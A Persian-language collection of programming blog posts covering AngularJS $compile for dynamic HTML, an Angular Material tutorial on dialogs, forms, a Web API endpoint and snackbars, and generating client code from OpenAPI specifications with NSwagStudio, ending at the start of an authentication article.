مطالب
نقش compile$ در Angular چیست؟

در مواقعی نیاز است تا محتوایی را به صورت داینامیک به کدهای موجود در یک app Angular  تزریق کنیم و یا محتوای موجود را تغییر دهیم. اگر این محتوای لود شده دارای دایرکتیوهای  Angularباشد بعد از لود محتوا متوجه می‌شویم که کدهای Angular ما کار نمی‌کنند. چرا؟  اینجاست که نقش  compile$  مشخص می‌شود. از طریق  compile$ محتوای لود شده مجددا در محدوده تحت مدیریت Angular قرار گرفته و مشکل حل می‌شود. مثال زیر را بررسی می‌کنیم :

app.directive("otcDynamic", function(){
    return {
        link: function(scope, element){
            element.html("<button ng-click='doSomething()'>{{label}}</button>");
        }
    };
});

در کد فوق  ما یک دکمه را که در کلیک آن قرار است متدی توسط Angular فراخوانی شود، به صورت داینامیک ایجاد کرده و به المنت مورد نظرمان اضافه کرده‌ایم. دقت داشته باشید که این محتوا ممکن است مثلا توسط درخواست‌های Ajax از جایی فراخوانی شود. با کلیک بر روی دکمه‌ی ایجاد شده، متد doSomething اجرا نخواهد شد؛ چرا که Angular قادر به تشخیص HTML تزریق شده نمی‌باشد و در واقع اصلا از وجود کد ما خبری ندارد. برای حل این مشکل از compile $ استفاده می‌کنیم:

app.directive("otcDynamic", function($compile){
    return{
        link: function(scope, element){
            var template = "<button ng-click='doSomething()'>{{label}}</button>";
            var linkFn = $compile(template);
            var content = linkFn(scope);
            element.append(content);
        }
    }
});

با استفاده از compile $ در واقع ما کدهای خود را مجددا تحت مدیریت Angular قرار می‌دهیم. مثال فوق یک مثال ساده از این مبحث بود. در واقع کدهای تزریق شده می‌توانند شامل کل HTML تحت مدیریت Angular باشد که مثلا از طریق درخواست‌های Ajax به‌روز رسانی می‌شوند.

مطالب
Angular Material 6x - قسمت ششم - کار با فرم‌ها و دیالوگ‌ها
در این قسمت قصد داریم به لیست فعلی کاربران و تماس‌های تعریف شده، تماس‌های جدیدی را اضافه کنیم و می‌خواهیم این‌کار را توسط دیالوگ‌های Popup بسته‌ی Angular Material انجام دهیم.


معرفی سرویس MatDialog

توسط سرویس MatDialog می‌توان modal dialogs بسته‌ی Angular Material را نمایش داد که به همراه طراحی متریال و پویانمایی مخصوص آن است.
 let dialogRef = dialog.open(UserProfileComponent,  { height: '400px’,  width: '600px’  });
در اینجا یک صفحه‌ی دیالوگ، توسط متد open آن باز خواهد شد. پارامتر اول آن کامپوننتی است که باید بارگذاری شود و پارامتر دوم آن یک شیء تنظیمات اختیاری است. خروجی این متد وهله‌ای است از MatDialogRef و توسط آن می‌توان به دیالوگ باز شده دسترسی یافت:
dialogRef.afterClosed().subscribe(result => {
   console.log(`Dialog result: ${result}`);
});
dialogRef.close('value');
از آن می‌توان برای بستن dialog و یا دریافت پیامی پس از بسته شدن دیالوگ، استفاده کرد.
در این مثال اگر dialogRef را با متد close و پارامتر value فراخوانی کنیم، سبب بسته شدن این دیالوگ خواهیم شد. این پارامتر در قسمت Dialog result پیام دریافتی پس از بسته شدن دیالوگ نیز قابل دسترسی است.
کامپوننت‌هایی که توسط سرویس MatDialog نمایش داده می‌شوند، می‌توانند توسط سرویس جنریک MatDialogRef، صفحه‌ی دیالوگ باز شده را ببندند:
@Component({/* ... */})
export class YourDialog {

   constructor(public dialogRef: MatDialogRef<YourDialog>) { }

   closeDialog() {
      this.dialogRef.close('Value….!’);
   }
}
نکته‌ی مهم: چون سرویس MatDialog کار وهله سازی و نمایش کامپوننت‌ها را به صورت پویا انجام می‌دهد، محل تعریف این نوع کامپوننت‌های ویژه در قسمت entryComponents ماژول مرتبط است. به این ترتیب به A head of time compiler اعلام می‌کنیم که component factory این کامپوننت پویا است و باید به نحو ویژه‌ای مدیریت شود.

نحوه‌ی طراحی یک دیالوگ نیز به کمک تعدادی کامپوننت و دایرکتیو میسر است:
<h2 mat-dialog-title>Delete all</h2>
<mat-dialog-content>Are you sure?</mat-dialog-content>
<mat-dialog-actions>
    <button mat-button mat-dialog-close>No</button>
    <!-- Can optionally provide a result for the closing dialog. -->
    <button mat-button [mat-dialog-close]="true">Yes</button>
</mat-dialog-actions>
دایرکتیو mat-dialog-title سبب نمایش عنوان دیالوگ می‌شود. mat-dialog-content محتوای قابل اسکرول این دیالوگ را در بر می‌گیرد. mat-dialog-actions محلی است برای قرارگیری action buttons در پایین صفحه‌ی دیالوگ. در اینجا اگر ویژگی mat-dialog-close به true تنظیم شود، آن دکمه قابلیت بستن دیالوگ را پیدا می‌کند.


ایجاد دکمه‌ی نمایش دیالوگ افزودن تماس‌ها و کاربران جدید

قبل از هر کاری نیاز است دکمه‌ی افزودن یک کاربر جدید را به صفحه اضافه کنیم. برای اینکار یک منوی ویژه را در سمت راست، بالای صفحه ایجاد می‌کنیم. بنابراین ابتدا به مستندات toolbar و menu مراجعه می‌کنیم تا با نحوه‌ی تعریف دکمه‌ها و منوها به toolbar آشنا شویم. سپس فایل قالب toolbar\toolbar.component.html را به صورت زیر تکمیل می‌کنیم:
<mat-toolbar color="primary">
  <button mat-button fxHide fxHide.xs="false" (click)="toggleSidenav.emit()">
    <mat-icon>menu</mat-icon>
  </button>

  <span>Contact Manager</span>

  <span fxFlex="1 1 auto"></span>
  <button mat-button [matMenuTriggerFor]="menu">
    <mat-icon>more_vert</mat-icon>
  </button>
  <mat-menu #menu="matMenu">
    <button mat-menu-item>New Contact</button>
  </mat-menu>
</mat-toolbar>
توسط یک span و سپس fxFlex تعریف شده‌ی آن سبب خواهیم شد تا mat-button بعدی و محتوای پس از آن به گوشه‌ی سمت راست toolbar هدایت شوند؛ در غیراینصورت دقیقا در کنار عبارت Contact manager ظاهر خواهند شد.
سپس ابتدا یک mat-button را با آیکن more_vert (آیکن علامت بیشتر عمودی) تعریف کرده‌ایم:


این دکمه توسط ویژگی matMenuTriggerFor به template reference variable ایی به نام menu متصل شده‌است تا با کلیک بر روی آن، این mat-menu را نمایش دهد:



ایجاد دیالوگ افزودن تماس‌ها و کاربران جدید

پس از تعریف دکمه و منویی که سبب نمایش عبارت افزودن یک تماس جدید می‌شوند، به رخ‌داد کلیک آن متدی را جهت نمایش صفحه‌ی دیالوگ جدید اضافه می‌کنیم:
 <button mat-menu-item (click)="openAddContactDialog()">New Contact</button>
سپس در کدهای کامپوننت toolbar، کار مدیریت آن‌را انجام خواهیم داد. اما پیش از آن بهتر است کامپوننت جدیدی را که قرار است نمایش دهد به برنامه اضافه کنیم:
 ng g c contact-manager/components/new-contact-dialog --no-spec
این دستور علاوه بر تولید کامپوننت جدید new-contact-dialog در پوشه‌ی components، کار تعریف مدخل آن‌را در ماژول این قسمت نیز انجام می‌دهد. اما همانطور که پیشتر نیز عنوان شد، باید آن‌را به لیست entryComponents اضافه کنیم تا بتوان آن‌را به صورت پویا بارگذاری کرد (در غیر اینصورت در زمان نمایش پویای آن، خطای no component factory for را دریافت می‌کنیم). بنابراین فایل contact-manager.module.ts را گشوده و به صورت زیر تکمیل می‌کنیم:
import { NewContactDialogComponent } from "./components/new-contact-dialog/new-contact-dialog.component";

@NgModule({
  declarations: [
    NewContactDialogComponent],
  entryComponents: [
    NewContactDialogComponent
  ]
})
export class ContactManagerModule { }
اکنون می‌توانیم سرویس MatDialog را به سازنده‌ی کامپوننت toolbar تزریق کرده و از آن برای نمایش این کامپوننت جدید استفاده کنیم:
import { Component, EventEmitter, OnInit, Output } from "@angular/core";
import { MatDialog } from "@angular/material";

import { NewContactDialogComponent } from "../new-contact-dialog/new-contact-dialog.component";

@Component({
  selector: "app-toolbar",
  templateUrl: "./toolbar.component.html",
  styleUrls: ["./toolbar.component.css"]
})
export class ToolbarComponent implements OnInit {

  @Output() toggleSidenav = new EventEmitter<void>();

  constructor(private dialog: MatDialog) { }

  ngOnInit() { }

  openAddContactDialog(): void {
    const dialogRef = this.dialog.open(NewContactDialogComponent, { width: "450px" });
    dialogRef.afterClosed().subscribe(result => {
      console.log("The dialog was closed", result);
    });
  }
}
در اینجا سرویس MatDialog به سازنده‌ی کامپوننت تزریق شده و سپس از آن در متد openAddContactDialog که متصل به منوی نمایش «new contact» است، جهت نمایش پویای کامپوننت NewContactDialogComponent، استفاده می‌شود. اکنون اگر برنامه را اجرا کنیم و گزینه‌ی «new contact» را از منو انتخاب کنیم، چنین تصویری حاصل خواهد شد:



تکمیل قالب کامپوننت تماس جدید

در ادامه می‌خواهیم فرم افزودن یک تماس جدید را به همراه فیلدهای ورودی آن، به قالب new-contact-dialog.component.html اضافه کنیم:
<h2 mat-dialog-title>Add new contact</h2>
<mat-dialog-content>
  <div fxLayout="column">

  </div>
</mat-dialog-content>
<mat-dialog-actions>
  <button mat-button color="primary" (click)="save()">
    <mat-icon>save</mat-icon> Save
  </button>
  <button mat-button color="primary" (click)="dismiss()">
    <mat-icon>cancel</mat-icon> Cancel
  </button>
</mat-dialog-actions>
تا اینجا ساختار مقدماتی صفحه دیالوگ را مطابق توضیحاتی که در ابتدای بحث عنوان شد، تکمیل کردیم. یک عنوان توسط mat-dialog-title به آن اضافه شده‌است. سپس mat-dialog-content اضافه شده که در ادامه آن‌را تکمیل می‌کنیم. در آخر هم دکمه‌های action به این دیالوگ استاندارد اضافه شده‌اند. برای تکمیل متدهای save و dismiss این دکمه‌ها، کدهای ذیل را به کامپوننت new-contact-dialog.component.ts اضافه می‌کنیم:
import { Component, OnInit } from "@angular/core";
import { MatDialogRef } from "@angular/material";

@Component()
export class NewContactDialogComponent implements OnInit {

  constructor(
    private dialogRef: MatDialogRef<NewContactDialogComponent>
  ) { }

  ngOnInit() {
  }

  save() {
  }

  dismiss() {
    this.dialogRef.close(null);
  }
}
در اینجا توسط سرویس MatDialogRef از نوع NewContactDialogComponent، می‌توانیم به ارجاعی از سرویس MatDialog باز کننده‌ی آن دسترسی پیدا کنیم و برای نمونه در متد dismiss سبب بسته شدن این دیالوگ شویم.
تا اینجا اگر برنامه را اجرا کنیم، به چنین شکلی خواهیم رسید:



تکمیل فیلدهای ورود اطلاعات فرم ثبت یک تماس جدید

تا اینجا ساختار فرم دیالوگ ثبت اطلاعات جدید را تکمیل کردیم. این فرم، به شیء user متصل خواهد شد. همچنین لیستی از avatars را هم جهت انتخاب، نمایش می‌دهد. به همین جهت این دو خاصیت عمومی را به کدهای کامپوننت آن اضافه می‌کنیم:
import { User } from "../../models/user";

@Component()
export class NewContactDialogComponent implements OnInit {

  avatars = ["user1", "user2", "user3", "user4", "user5", "user6", "user7", "user8"];
  user: User = { id: 0, birthDate: new Date(), name: "", avatar: "", bio: "", userNotes: null };
در ادامه فیلدهای آن‌را به صورت زیر در قسمت mat-dialog-content اضافه خواهیم کرد:


الف) فیلد نمایش و انتخاب avatar کاربر
    <mat-form-field>
      <mat-select placeholder="Avatar" [(ngModel)]="user.avatar">
        <mat-select-trigger>
          <mat-icon svgIcon="{{user.avatar}}"></mat-icon> {{ user.avatar }}
        </mat-select-trigger>
        <mat-option *ngFor="let avatar of avatars" [value]="avatar">
          <mat-icon svgIcon="{{avatar}}"></mat-icon> {{ avatar }}
        </mat-option>
      </mat-select>
    </mat-form-field>


در اینجا از کامپوننت mat-select برای انتخاب avatar کاربر استفاده شده‌است که نتیجه‌ی نهایی انتخاب آن به خاصیت user.avatar متصل شده‌است.
گزینه‌های این لیست (mat-option) بر اساس آرایه‌ی avatars که در کامپوننت تعریف کردیم، تامین می‌شوند که در اینجا از mat-icon برای نمایش آیکن مرتبط نیز استفاده شده‌است. در این مورد در قسمت قبل چهارم، بخش «بارگذاری و معرفی فایل svg نمایش avatars کاربران به Angular Material» بیشتر توضیح داده شده‌است.
کار mat-select-trigger، سفارشی سازی برچسب نمایشی این کنترل است.

ب) فیلد دریافت نام کاربر به همراه اعتبارسنجی آن
    <mat-form-field>
      <input matInput placeholder="Name" #name="ngModel" [(ngModel)]="user.name" required>
      <mat-error *ngIf="name.invalid && name.touched">You must enter a name</mat-error>
    </mat-form-field>


در اینجا فیلد نام کاربر، به user.name متصل و همچنین توسط ویژگی required، پر کردن آن الزامی اعلام شده‌است. به همین جهت در تصویر فوق یک ستاره را نیز کنار آن مشاهده می‌کند که به صورت خودکار توسط Angular Material نمایش داده شده‌است.
از کامپوننت mat-error برای نمایش خطاهای اعتبارسنجی یک فیلد استفاده می‌شود که نمونه‌ای از آن‌را در اینجا با بررسی خواص invalid  و touched فیلد نام که بر اساس ویژگی required فعال می‌شوند، مشاهده می‌کنید. بدیهی است در اینجا به هر تعدادی که نیاز است می‌توان mat-error را قرار داد.

ج) فیلد دریافت تاریخ تولد کاربر توسط یک date picker
    <mat-form-field>
      <input matInput [matDatepicker]="picker" placeholder="Born" [(ngModel)]="user.birthDate">
      <mat-datepicker-toggle matSuffix [for]="picker"></mat-datepicker-toggle>
      <mat-datepicker #picker></mat-datepicker>
    </mat-form-field>


در اینجا از کامپوننت mat-datepicker برای انتخاب تاریخ تولید یک شخص استفاده شده‌است و نتیجه‌ی آن به خاصیت user.birthDate متصل خواهد شد.
برای افزودن آن ابتدا یک mat-datepicker را به mat-form-field اضافه می‌کنیم. سپس یک template reference variable را به آن نسبت خواهیم داد. از آن هم در فیلد ورودی با انتساب آن به ویژگی matDatepicker و هم در کامپوننت mat-datepicker-toggle که سبب نمایش آیکن انتخاب تقویم می‌شود، در ویژگی for آن استفاده خواهیم کرد.

د) فیلد چند سطری دریافت توضیحات و شرح‌حال کاربر
    <mat-form-field>
      <textarea matInput placeholder="Bio" [(ngModel)]="user.bio"></textarea>
    </mat-form-field>


در اینجا برای دریافت توضیحات چندسطری، از یک text area استفاده شده‌است که به خاصیت user.bio متصل است.

بنابراین همانطور که ملاحظه می‌کنید، روش طراحی فرم‌های Angular Material ویژگی‌های خاص خودش را دارد:
- دایرکتیو matInput را می‌توان به المان‌های استاندارد input و textarea اضافه کرد تا داخل mat-form-field نمایش داده شوند. این mat-form-field است که کار اعمال CSS ویژه‌ی طراحی متریال را انجام می‌دهد و امکان نمایش پیام‌های خطای اعتبارسنجی و پویانمایی ورود اطلاعات را سبب می‌شود.
- قسمت mat-dialog-content را توسط fxLayout به حالت ستونی تنظیم کردیم:
<mat-dialog-content>
  <div fxLayout="column">

  </div>
</mat-dialog-content>
این مورد است که سبب خواهد شد المان‌های فرم از بالا به پایین نمایش داده شوند. در غیراینصورت mat-form-fieldها دقیقا در کنار هم قرار می‌گیرند.
برای مثال اگر خواستید المان‌های فرم با فاصله‌ی بیشتری از هم قرار بگیرند، می‌توان از fxLayoutGap استفاده کرد که در مورد آن در قسمت دوم «معرفی Angular Flex layout» بیشتر توضیح داده شد.


تکمیل سرویس کاربران جهت ذخیره‌ی اطلاعات تماس کاربر جدید

در ادامه می‌خواهیم با کلیک کاربر بر روی دکمه‌ی Save، ابتدا این اطلاعات به سمت سرور ارسال و سپس در سمت سرور ذخیره شوند. پس از آن، Id این کاربر جدید به سمت کلاینت بازگشت داده شود، دیالوگ جاری بسته و در آخر این شیء جدید به لیست تماس‌های نمایش داده‌ی شده‌ی در sidenav اضافه گردد.

الف) تکمیل سرویس Web API سمت سرور
در ابتدا متد Post را به Web API برنامه جهت ذخیره سازی اطلاعات User ارسالی از سمت کلاینت اضافه می‌کنیم. کدهای کامل آن‌را از فایل پیوستی انتهای بحث می‌توانید دریافت کنید:
namespace MaterialAspNetCoreBackend.WebApp.Controllers
{
    [Route("api/[controller]")]
    public class UsersController : Controller
    {
        private readonly IUsersService _usersService;

        public UsersController(IUsersService usersService)
        {
            _usersService = usersService ?? throw new ArgumentNullException(nameof(usersService));
        }

        [HttpPost]
        public async Task<IActionResult> Post([FromBody] User user)
        {
            if (!ModelState.IsValid)
            {
                return BadRequest(ModelState);
            }
            await _usersService.AddUserAsync(user);
            return Created("", user);
        }
    }
}

ب) تکمیل سرویس کاربران سمت کلاینت
سپس به فایل user.service.ts مراجعه کرده و دو تغییر زیر را به آن اضافه می‌کنیم:
@Injectable({
  providedIn: "root"
})
export class UserService {

  private usersSource = new BehaviorSubject<User>(null);
  usersSourceChanges$ = this.usersSource.asObservable();

  constructor(private http: HttpClient) { }

  addUser(user: User): Observable<User> {
    const headers = new HttpHeaders({ "Content-Type": "application/json" });
    return this.http
      .post<User>("/api/users", user, { headers: headers }).pipe(
        map(response => {
          const addedUser = response || {} as User;
          this.notifyUsersSourceHasChanged(addedUser);
          return addedUser;
        }),
        catchError((error: HttpErrorResponse) => throwError(error))
      );
  }

  notifyUsersSourceHasChanged(user: User) {
    this.usersSource.next(user);
  }
}
کار متد addUser، ارسال اطلاعات فرم ثبت یک تماس جدید به سمت سرور و Web API برنامه است. پس از ثبت موفقیت آمیز کاربر در سمت سرور، متد return Created آن:
 return Created("", user);
سبب خواهد شد تا بتوانیم در سمت کلاینت، به Id اطلاعات رکورد جدید دسترسی داشته باشیم. مزیت آن امکان افزودن این رکورد به لیست کاربران sidenav و همچنین فعالسازی مسیریابی آن است که بر اساس این Id واقعی کار می‌کند.
بنابراین نیاز است از طریق این سرویس به کامپوننت sidenav، در مورد تغییرات لیست کاربران اطلاعات رسانی کنیم که روش کار آن‌را پیشتر در مطلب «صدور رخدادها از سرویس‌ها به کامپوننت‌ها در برنامه‌های Angular» نیز مرور کرده‌ایم. برای این منظور یک BehaviorSubject از نوع User را تعریف کرده‌ایم که اشتراک به آن از طریق خاصیت عمومی usersSourceChanges میسر است. هر زمانیکه متد next آن فراخوانی شود، تمام مشترکین به آن، از افزوده شدن کاربر جدید، به همراه اطلاعات کامل آن مطلع خواهند شد.

ج) تکمیل متد save کامپوننت new-contact-dialog
پس از تکمیل سرویس کاربران جهت افزودن متد addUser به آن، اکنون می‌توانیم از آن در کامپوننت دیالوگ افزودن اطلاعات تماس جدید استفاده کنیم:
import { UserService } from "../../services/user.service";

@Component()
export class NewContactDialogComponent {

  user: User = { id: 0, birthDate: new Date(), name: "", avatar: "", bio: "", userNotes: null };

  constructor(
    private dialogRef: MatDialogRef<NewContactDialogComponent>,
    private userService: UserService
  ) { }

  save() {
    this.userService.addUser(this.user).subscribe(data => {
      console.log("Saved user", data);
      this.dialogRef.close(data);
    });
  }
}
در اینجا در متد save، ابتدا متد addUser سرویس افزودن اطلاعات جدید فراخوانی می‌شود. سپس در صورت موفقیت آمیز بودن عملیات، توسط سرویس dialogRef، این صفحه‌ی دیالوگ نیز به صورت خودکار بسته خواهد شد. همچنین به متد close آن data دریافتی از سرور ارسال شده‌است. این data در toolbar.component در قسمت dialogRef.afterClosed قابل دسترسی خواهد بود.

د) تکمیل کامپوننت sidenav جهت واکنش نشان دادن به افزوده شدن اطلاعات تماس جدید
اکنون که سرویس کاربران به صفحه دیالوگ افزودن اطلاعات یک تماس جدید متصل شده‌است، نیاز است بتوانیم اطلاعات کاربر جدید را به لیست تماس‌های sidenav اضافه کنیم. به همین جهت به sidenav.component مراجعه کرده و مشترک usersSourceChanges سرویس کاربران خواهیم شد:
import { UserService } from "../../services/user.service";

@Component()
export class SidenavComponent implements OnInit, OnDestroy {

  users: User[] = [];
  subscription: Subscription | null = null;

  constructor(
    private userService: UserService) { }

  ngOnInit() {
    this.subscription = this.userService.usersSourceChanges$.subscribe(user => {
      if (user) {
        this.users.push(user);
      }
    });
  }

  ngOnDestroy() {
    if (this.subscription) {
      this.subscription.unsubscribe();
    }
  }
}
ابتدا در ngOnInit توسط سرویس کاربران، مشترک تغییرات usersSourceChanges خواهیم شد. در اینجا اگر کاربر جدیدی به لیست اضافه شده باشد، آن‌را توسط متد push به لیست کاربران جاری sidenav اضافه می‌کنیم تا بلافاصله در لیست نمایش داده شود.


استفاده از کامپوننت Snackbar جهت نمایش موفقیت آمیز بودن ثبت اطلاعات

متد save کامپوننت دیالوگ یک تماس جدید را به صورت زیر تکمیل کردیم:
  save() {
    this.userService.addUser(this.user).subscribe(data => {
      console.log("Saved user", data);
      this.dialogRef.close(data);
    });
در اینجا data ارسال شده‌ی به متد close در کامپوننت toolbar در قسمت dialogRef.afterClosed قابل دسترسی خواهد بود:
  openAddContactDialog(): void {
    const dialogRef = this.dialog.open(NewContactDialogComponent, { width: "450px" });
    dialogRef.afterClosed().subscribe(result => {
      console.log("The dialog was closed", result);
    });
  }
بنابراین در ادامه قصد داریم از آن جهت نمایش یک snackbar به همراه ارائه لینک هدایت به صفحه‌ی جزئیات تماس جدید، استفاده کنیم:


کدهای کامل این تغییرات را در ذیل مشاهده می‌کنید:
@Component()
export class ToolbarComponent {

  @Output() toggleSidenav = new EventEmitter<void>();

  constructor(private dialog: MatDialog, private snackBar: MatSnackBar,  private router: Router) { }

  openAddContactDialog(): void {
    const dialogRef = this.dialog.open(NewContactDialogComponent, { width: "450px" });
    dialogRef.afterClosed().subscribe((result: User) => {
      console.log("The dialog was closed", result);
      if (result) {
        this.openSnackBar(`${result.name} contact has been added.`, "Navigate").onAction().subscribe(() => {
          this.router.navigate(["/contactmanager", result.id]);
        });
      }
    });
  }

  openSnackBar(message: string, action: string): MatSnackBarRef<SimpleSnackBar> {
    return this.snackBar.open(message, action, {
      duration: 5000,
    });
  }
}
توضیحات:
برای گشودن snackbar که نمونه‌ای از آن‌را در تصویر فوق ملاحظه می‌کنید، ابتدا نیاز است سرویس MatSnackBar را به سازنده‌ی کلاس تزریق کرد. سپس توسط آن می‌توان یک کامپوننت مستقل را همانند دیالوگ‌ها نمایش داد و یا می‌توان یک متن را به همراه یک Action منتسب به آن، به کاربر نمایش داد؛ مانند متد openSnackBar که در کامپوننت فوق از آن استفاده می‌شود. این متد در رخ‌داد پس از بسته شدن dialog، نمایش داده شده‌است.
پارامتر اول آن پیامی است که توسط snackbar نمایش داده می‌شود و پارامتر دوم آن، برچسب دکمه مانندی است کنار این پیام، که سبب انجام عملی خواهد شد و در اینجا به آن Action گفته می‌شود. برای مدیریت آن باید متد onAction را فراخوانی کرد و مشترک آن شد. در این حالت اگر کاربر بر روی این دکمه‌ی action کلیک کند، سبب هدایت خودکار او به صفحه‌ی نمایش جزئیات اطلاعات تماس کاربر خواهیم شد. به همین جهت سرویس Router نیز به سازنده‌ی کلاس تزریق شده‌است تا بتوان از متد navigate آن استفاده کرد.



کدهای کامل این قسمت را از اینجا می‌توانید دریافت کنید: MaterialAngularClient-05.zip
برای اجرای آن:
الف) ابتدا به پوشه‌ی src\MaterialAngularClient وارد شده و فایل‌های restore.bat و ng-build-dev.bat را اجرا کنید.
ب) سپس به پوشه‌ی src\MaterialAspNetCoreBackend\MaterialAspNetCoreBackend.WebApp وارد شده و فایل‌های restore.bat و dotnet_run.bat را اجرا کنید.
اکنون برنامه در آدرس https://localhost:5001 قابل دسترسی است.
مطالب
تولید خودکار کدهای سمت کلاینت بر اساس OpenAPI Specification
در سری «مستند سازی ASP.NET Core 2x API توسط OpenAPI Swagger» با نحوه‌ی تولید OpenAPI Specification، بر اساس کنترلرها و اکشن متدهای Web API خود آشنا شدیم و سپس با استفاده از ابزار Swagger-UI، یک رابط کاربری پویا را نیز برای آن تولید و سفارشی سازی کردیم. کاربرد OpenAPI Specification صرفا به مستندسازی یک Web API خلاصه نمی‌شود. بر اساس این استاندارد، ابزارهای متعددی جهت تولید کدهای سمت سرور و سمت کلاینت نیز طراحی شده‌اند که در اینجا نمونه‌ای از آن‌ها را بررسی خواهیم کرد.


تولید خودکار کدها بر اساس OpenAPI Specification

فرض کنید در حال توسعه‌ی برنامه‌ی سمت کلاینت Angular و یا سمت سرور ASP.NET Core ای هستید که هر دوی این‌ها از یک Web API استفاده می‌کنند. همچنین فرض کنید که این Web API را نیز خودتان توسعه می‌دهید. بنابراین حداقل کدی که باید در اینجا به اشتراک گذاشته شود، کدهای کلاس‌های DTO یا Data transfer objects هستند تا این کلاینت‌ها بتوانند اطلاعات Web API را به نحو صحیحی Deserialize کنند و یا برعکس، بتوانند اطلاعات را با فرمت صحیحی به سمت Web API ارسال کنند.
برای مدیریت این مساله می‌توان از دو روش استفاده کرد:
الف) استفاده از یک پروژه‌ی اشتراکی
اگر کدهای مدنظر، سمت سرور باشند، می‌توان یک پروژه‌ی اشتراکی را برای این منظور ایجاد کرد و کدهای DTO را درون آن قرار داد و سپس ارجاعی به آن را در پروژه‌های مختلف، استفاده نمود. به این ترتیب تکرار کدها، کاهش یافته و همچنین تغییرات آن نیز به تمام پروژه‌های استفاده کننده به نحو یکسانی اعمال می‌شوند. در این حالت یک اسمبلی اشتراکی تولید شده و به صورت مستقلی توزیع می‌شود.

ب) استفاده از روش لینک کردن فایل‌ها
در این روش پروژه‌های استفاده کننده از کلاس‌های DTO، فایل‌های آن‌را به پروژه‌ی خود لینک می‌کنند. در این حالت باز هم شاهد کاهش تکرار کدها و همچنین اعمال یک دست تغییرات خواهیم بود. اما در این روش دیگر یک اسمبلی اشتراکی وجود نداشته و کلاس‌های DTO هم اکنون با اسمبلی پروژه‌های استفاده کننده، یکی و کامپایل شده‌اند.

بدیهی است در هر دو روش، نیاز است بر روی کلاینت و API، کنترل کاملی وجود داشته باشد و بتوان به کدهای آن‌ها دسترسی داشت. به علاوه فایل‌های اشتراکی نیز باید بر اساس Target platform یکسانی تولید شده باشند. در این حالت دیگر نیازی به OpenAPI Specification برای تولید کدهای کلاینت دات نتی خود، نیست.

اما اگر کدهای API مدنظر در دسترس نباشند و یا بر اساس پلتفرم دیگری مانند node.js تولید شده باشد، کار یکپارچه سازی با آن دیگر با به اشتراک گذاری فایل‌های آن میسر نیست. در این حالت اگر این API به همراه یک OpenAPI Specification باشد، می‌توان از آن برای تولید خودکار کدهای کلاینت‌های آن استفاده کرد.


معرفی تعدادی از ابزارهایی که قادرند بر اساس OpenAPI Specification، کد تولید کنند

برای تولید کد از روی OpenAPI Specification، گزینه‌های متعددی در دسترس هستند:

الف) Swagger CodeGen
این ابزار را که جزئی از مجموعه ابزارهای تولید شده‌ی برفراز OpenAPI است، می‌توانید از آدرس swagger-codegen دریافت کنید. البته برای اجرای آن نیاز به Java Runtime است و یا نگارش آنلاین آن نیز در دسترس است: swagger.io
در ابزار آنلاین آن، در منوی generate بالای صفحه، گزینه‌ی تولید کد برای #C نیز موجود است.

ب)  AutoRest
محل دریافت: https://github.com/Azure/autorest
بر اساس node.js کار می‌کند و از طریق خط فرمان، قابل دسترسی است. همچنین این مورد ابزار تامین کننده‌ی گزینه‌ی Add REST client در ویژوال استودیو نیز می‌باشد. اما در کل، امکان تنظیمات آنچنانی را به همراه ندارد.

ج) NSwagStudio
محل دریافت: https://github.com/RSuter/NSwag/wiki/NSwagStudio
همانطور که در مطلب «مستند سازی ASP.NET Core 2x API توسط OpenAPI Swagger - قسمت اول - معرفی» نیز عنوان شد، NSwag یکی دیگر از تولید کننده‌های OpenAPI Specification مخصوص پروژه‌های دات نت است. NSwagStudio نیز جزئی از این مجموعه است که به کمک آن می‌توان کدهای کلاینت‌ها و DTOها را بر اساس OpenAPI Spec تولید کرد. همچنین امکان تنظیمات قابل توجهی را در مورد نحوه‌ی تولید کدهای نهایی به همراه دارد.


استفاده از NSwagStudio برای تولید کدهای DTOها

در اینجا از همان برنامه‌ای که در سری «مستند سازی ASP.NET Core 2x API توسط OpenAPI Swagger» بررسی کردیم، استفاده خواهیم کرد. بنابراین این برنامه، از پیش تنظیم شده‌است و هم اکنون به همراه یک تولید کننده‌ی OpenAPI Specification نیز می‌باشد. آن‌را اجرا کنید تا بتوان به OpenAPI Specification تولیدی آن در آدرس زیر دسترسی یافت:
 https://localhost:5001/swagger/LibraryOpenAPISpecification/swagger.json
سپس فایل msi مخصوص NSwagStudio را نیز از لینک آن در Github دریافت، نصب و اجرا کنید.


مطابق تصویر، ابتدا آدرس Swagger Specification URL یا همان آدرس فوق را وارد کنید. سپس فضای نام دلخواهی را وارد کرده و گزینه‌ی تولید کلاس‌های کلاینت را فعلا انتخاب نکنید. در لیست تنظیمات آن، گزینه‌ی Class Style نیز مهم است. برای مثال برای پروژه‌های ASP.NET Core حالت POCO را انتخاب کنید (plain old clr objects) و برای پروژه‌های مبتنی بر XAML، گزینه‌ی Inpc مناسب‌تر است چون RaisePropertyChanged‌ها را هم تولید می‌کند. در آخر بر روی دکمه‌ی Generate Outputs کلیک کنید تا خروجی ذیل حاصل شود:


یا می‌توان این خروجی را copy/paste کرد و یا می‌توان در برگه‌ی Settings، در انتهای لیست آن، مقدار output file path را مشخص کرد و سپس بر روی دکمه‌ی Generate files کلیک نمود تا فایل معادل آن تولید شود.


استفاده از NSwagStudio برای تولید کدهای کلاینت Angular استفاده کننده‌ی از API

NSwagStudio امکان تولید یک TypeScript Client را نیز دارد:

در اینجا ابتدا TypeScript Client را انتخاب می‌کنیم و سپس در تنظیمات آن، قالب Angular را انتخاب کرده و نگارش RxJS آن‌را نیز، 6 انتخاب می‌کنیم. در آخر بر روی Generate outputs کلیک می‌کنیم:


نکته‌ی جالب این خروجی، دقت داشتن به status codes درج شده‌ی در OpenAPI Spec است که در قسمت‌های چهارم و پنجم سری «مستند سازی ASP.NET Core 2x API توسط OpenAPI Swagger» آن‌ها را بررسی کردیم.
در اینجا نه تنها سرویسی جهت تعامل با API ما تولید شده‌است، بلکه معادل تایپ‌اسکریپتی DTOهای برنامه را نیز تولید کرده‌است:

مطالب
احراز هویت و اعتبارسنجی کاربران در برنامه‌های Angular - قسمت ششم - کار با منابع محافظت شده‌ی سمت سرور
پس از تکمیل کنترل دسترسی‌ها به قسمت‌های مختلف برنامه بر اساس نقش‌های انتسابی به کاربر وارد شده‌ی به سیستم، اکنون نوبت به کار با سرور و دریافت اطلاعات از کنترلرهای محافظت شده‌ی آن است.



افزودن کامپوننت دسترسی به منابع محافظت شده، به ماژول Dashboard

